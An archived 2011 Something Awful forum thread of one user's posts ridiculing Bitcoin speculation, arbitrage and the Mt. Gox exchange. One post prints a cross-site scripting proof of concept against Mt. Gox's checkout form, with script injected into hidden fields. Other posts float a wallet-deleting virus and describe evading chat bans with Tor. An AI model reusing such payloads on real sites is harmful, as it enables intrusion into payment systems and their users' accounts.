Bitcoin: Of Freemasons, Free Markets and Bill Cosby Related Investment Schemes

The Something Awful Forums > Archives > Comedy Goldmine > Bitcoin: Of Freemasons, Free Markets and Bill Cosby Related Investment Schemes

ghost biscuit: Sep 28, 2002

One thing I've recently been interested in; given the total lack of regulatory oversight, what's stopping me from taking advantage of some of the more unscrupulous parts of capitalism via BitCoin?

For example, say I purchase $100k worth of BitCoins, and then subsequently start a small company and issue $1m USD of worth of BitCoins in credit. At the same time, I hedge any potential BitCoin collapse by shorting BitCoins with some OTC futures or something else similar, just like Goldman Sachs did by betting against their mortgage derivatives.

Esentially, what's stopping me from somewhat easily--$100k in capital honestly really isn't that much--recreating parts of the GFC for personal profit?

Note: I have no idea what the hell I'm talking about, and may have my head totally up my rear end.

edit: Reading more about this thing now, I'm way over my head it looks like. Oh well, nevermind.

# ¿ May 23, 2011 20:15

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# ¿ Apr 26, 2024 10:22

ghost biscuit: Sep 28, 2002

Stroh M.D. posted:

I feel like I'm sticking my dick in a hornets nest here, but what exactly is "real money" as opposed to "fiat money" to [ChubbyEmoBabe]? I'm not going to debate [ChubbyEmoBabe] on it, that would just severely derail the thread, but I never seem to get to hear a clear-cut definition.

To me, "real money" means just this:
https://secure.wikimedia.org/wikipedia/en/wiki/Legal_tender

quote:

Legal tender is a medium of payment allowed by law or recognized by a legal system to be valid for meeting a financial obligation.[1] Paper currency is a common form of legal tender in many countries.

IMO it's more than just "fiat" vs. "real", it's "can I actually use this to live my daily life in an unrestricted manner" vs. "hobby".

edit: I know this wasn't direct at me, and yes, I'm agreeing with you.

# ¿ May 23, 2011 22:35

ghost biscuit: Sep 28, 2002

Lets put it this way: If the United Sates Government suddenly decreed BitCoins legal tender (they are legally valid for all debts, public and private) and I could use my phone or whatever to go down to the store and get a gallon of milk paying only in 100% fiat digital BitCoins, then to me it's real money.

Again, IMO, anything short of that is neat, but not a true currency.

edit: As soon as I can pay off student loans in Candian Tire money, I'll consider BitCoins serious for more than just nerds.

# ¿ May 23, 2011 22:46

ghost biscuit: Sep 28, 2002

UrbanFarmer posted:

I've been big on Bitcoin since I first heard about them at $1.00. I've had nothing but positive remarks about them. It was EASY to see that this was going to happen. It's EASY to see that there is going to be tremendous growth in the bitcoin ecosystem moving forward.

You've been saying a lot of dumb poo poo in this thread that has pissed me off, you've said some some reasonable poo poo that has made me think, but this is just the worst kind of stupid poo poo, and you deserved to be called out on it.

No, it's not easy, you moron. You're stipulating that you can, ahead of time, figure out what random commodities will experience a bubble. This is called speculating, and it is very difficult to get right. Hindsight is 20/20, and I applaud your seemingly undefeatable chipper spirit, but don't come in here and insult everyone's intelligence by imagining you OBVIOUSLY knew that a random nerd-project was going to produce a real-world bubble.

It's like you've never even heard the phrase confirmation bias.

P.S. Also, please stop using the phrase critical mass until you actually understand what it means.

# ¿ Jun 8, 2011 18:55

ghost biscuit: Sep 28, 2002

UrbanFarmer posted:

You're right, I am giving myself a bit too much credit, and I apologize. Rereading my original post I wasn't quite so brazen. In later posts in that thread as I came to understand Bitcoin more and started to really analyze what was happening I began to make stronger assertions, but you're right, and I'll back off the BS.

Even though I disagree with you left and right, thank you for at the very least staying level-headed about your opinions and having an actual, you know, discussion. I think GBS could benefit from more of that across the board, so thanks.

# ¿ Jun 8, 2011 19:07

ghost biscuit: Sep 28, 2002

Totally just sold a random string of numbers my computer generated over the past 48 hours for $29.09. That's awesome, I never get in on these bubbles to make any money.

Now if you will excuse me, I'm going to go buy beer!

# ¿ Jun 9, 2011 18:34

ghost biscuit: Sep 28, 2002

So as soon as someone opens an options market I should just straddle the hell out of it, right?

Note: I may have no idea what I'm talking about.

# ¿ Jun 13, 2011 22:48

ghost biscuit: Sep 28, 2002

Oh god, don't mix sound without headphones.

# ¿ Jun 14, 2011 03:37

ghost biscuit: Sep 28, 2002

Cynnik posted:

For those of you who are reading the bitcoins forums, how many people on there are saying that stuff like 'this is what happens currency is untraceable and unregulated and it's a risk i am willing to take'?

If you think about it, all it would take is the simplest drive-by virus in the world that does nothing more than delete any copy of wallet.dat on a system, and then deletes itself.

If you want to end bitcoin in a weekend, there you go.

# ¿ Jun 14, 2011 17:41

ghost biscuit: Sep 28, 2002

According to that bitocoin watch site, there's a full $1 difference in bitcoin price between two of the highest volume markets, isn't that a massive arbitrage opportunity?

# ¿ Jun 15, 2011 18:58

ghost biscuit: Sep 28, 2002

ChubbyEmoBabe posted:

If you want to play in a market with 50-100% swings go for it! Hero or zero is what we call it.

I can't quite tell if you're kidding, or if at this point you're just parroting random sentiments to make yourself sound smart. NO poo poo there are large, unstable swings, because that's what creates arbitrage opportunities.

For fucks sakes, at this point it's just getting tired.

How about this, before you make your make your next (I'm sure to be incredibly insightful) post, please ask yourself "is this in any way new or original? Or am I just wasting everyone's time posting the same trite bullshit for another 50 pages without contributing anything new and/or interesting?"

Trabisnikof posted:

Also transaction time is not standardized so I've read stories of users trying to arbitrage and ended up getting scammed on their own transactions as their buy order executed quickly, but the sell order took "strangely" just enough time for the value to drop and he lost money on the transaction.

Thanks, this is what I was wondering.

# ¿ Jun 15, 2011 19:07

ghost biscuit: Sep 28, 2002

theultimo posted:

So essentially, they put a mulligan into financial transactions.

Before everyone loses their poo poo, this happens in real life too:
http://www.bloomberg.com/news/2010-10-18/nyse-euronext-cancels-trades-of-s-p-500-etf-at-9-6-below-opening-price.html?cmpid=yhoo

quote:

A system upgrade at Arca triggered what appeared to be a 9.6 percent plunge yesterday in an exchange-traded fund that tracks the Standard & Poor�s 500 Index, a drop that would have erased $7.9 billion from one of the most popular securities in the U.S. Data published by the electronic venue at 4:15 p.m. New York time showed the SPDR S&P 500 ETF Trust at $106.46, compared with its opening level of $117.74.

The prices were later voided and the closing price updated to $118.54, up 0.7 percent, exchange officials said.

# ¿ Jun 19, 2011 21:18

ghost biscuit: Sep 28, 2002

My PIN is 4826 posted:

It just struck me that mtgox lets you register an account without giving out an email, meaning that the password cannot be reset for some accounts because there's nowhere to send the new password/verify identity...

This is the best thing. I mean, what are they supposed to do about it? They're just hosed across the board.

# ¿ Jun 19, 2011 23:51

ghost biscuit: Sep 28, 2002

What the hell are you guys watching that is giving you any information? I just see two idiots on a couch with a camera in demo mode that keeps going to STORE ATTRACTION MODE.

# ¿ Jun 20, 2011 04:17

ghost biscuit: Sep 28, 2002

Millstone posted:

Yeah me too. Try this:

1. Register new ChatRoll using bullshit email address
2. Try to flush your DHCP lease and get a new IP; randomize the MAC in your router to help this along if possible
3. Get rid of the onlyonetv cookies
4. Use Incognito mode in Google Chrome from now on to sandbox the session

Way easier to just download Tor and then if you're banned, just reopen Firefox!

# ¿ Jun 22, 2011 01:50

ghost biscuit: Sep 28, 2002

In case anyone was wondering, here is what purportedly brought down the mighty MOUNT GOX:

code:

<html xmlns="http://www.w3.org/1999/xhtml">
<body onload="/*document.forms['foo'].submit()*/">
    <form id="foo" action="https://mtgox.com/merch/checkout" method="post" name="foo">
        <input 
            type="hidden" 
            name="notify_url" 
            value="http://yourdomain.com/ipn.php"})}alert(1);function blah(){test({5:""
        />
        <input type="hidden" name="business" value="foobar" />
        <input type="hidden" name="currency_code" value="USD" />
        <input 
            type="hidden"
            name="item_name"
            value= "Your Item Name<script> alert(1);</script> "
        />
        <input 
            type="hidden" 
            name="custom" 
            value="your custom msg to yourself"})}alert(1);function blah(){test({5:""
        />
        <input type="hidden" name="amount" value="10.30" />
        <input 
            type="hidden"    
            name="return" value="http://yourdomain.com/thanks" 
        /> 
        <!--
            <input 
                type="hidden" name="return" 
                value="http://yourdomain.com/thanks";}alert(1);</script><script>"
            >
        -->
        <input type="submit" value="Pay with Mt Gox" />
    </form>
</body>
</html>

# ¿ Jun 22, 2011 02:19

ghost biscuit: Sep 28, 2002

edit: God drat tables! Could a mod fix this post? I can't seem to remove the attachment.

(USER WAS PUT ON PROBATION FOR THIS POST)

Only registered members can see post attachments!

# ¿ Jun 22, 2011 22:22

ghost biscuit: Sep 28, 2002

FCKGW posted:

http://forum.bitcoin.org/index.php?topic=19744.0

That funnel cake looks god drat delicious.

# ¿ Jun 25, 2011 02:00

ghost biscuit: Sep 28, 2002

DrJohnSmithEsq posted:

95% of his followers are us.

Indeed.

# ¿ Jun 25, 2011 03:21

ghost biscuit: Sep 28, 2002

It seems you can only withdraw 100 BTC at a time. Now, granted, the language indicates they might have different limits for different people, but that sounds awfully complicated, and thus probably out of the technical expertise of the people running this poo poo:

# ¿ Jun 26, 2011 21:22

ghost biscuit: Sep 28, 2002

It seems that over on yon bitcoin forms someone decided to have a be-all-end-all "bitcoins are a bubble" throwdown, and is currently attempting to argue some of the more pertinent points from this thread.

Watching amateur finance types flail

If nothing else, it's interesting to see the thought process of some of the True Believers as they wrestle with decently presented arguments that could potentially destroy their economic world view.

Edit: For clarity.

# ¿ Jun 27, 2011 02:11

ghost biscuit: Sep 28, 2002

Tasty and Delicious posted:

He links his facebook in his forum profile
http://www.facebook.com/pages/Brian-Santos/174207615965709

Ugh, I'm starting to feel bad for the douchebag. He just seems so pathetic in every way now I don't know if I can keep making fun of him.

This is depressing and confusing. I'm not even really sure what he was trying to go for.

# ¿ Jul 13, 2011 19:35

ghost biscuit: Sep 28, 2002

Wait, what happened to his other thing? Did he really forget about it that fast? That'd be like a parody or something, there's no way.

# ¿ Jul 15, 2011 07:52

ghost biscuit: Sep 28, 2002

Oh god, does this mean Josh was in on it the whole time?

In on all of it?

# ¿ Aug 29, 2011 22:32

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# ¿ Apr 26, 2024 10:22

ghost biscuit: Sep 28, 2002

I don't understand. Are they not reading the same things we are, or are they reading them differently? If so, how? It seems to be pretty straight forward.

# ¿ Aug 31, 2011 00:36

The Something Awful Forums > Archives > Comedy Goldmine > Bitcoin: Of Freemasons, Free Markets and Bill Cosby Related Investment Schemes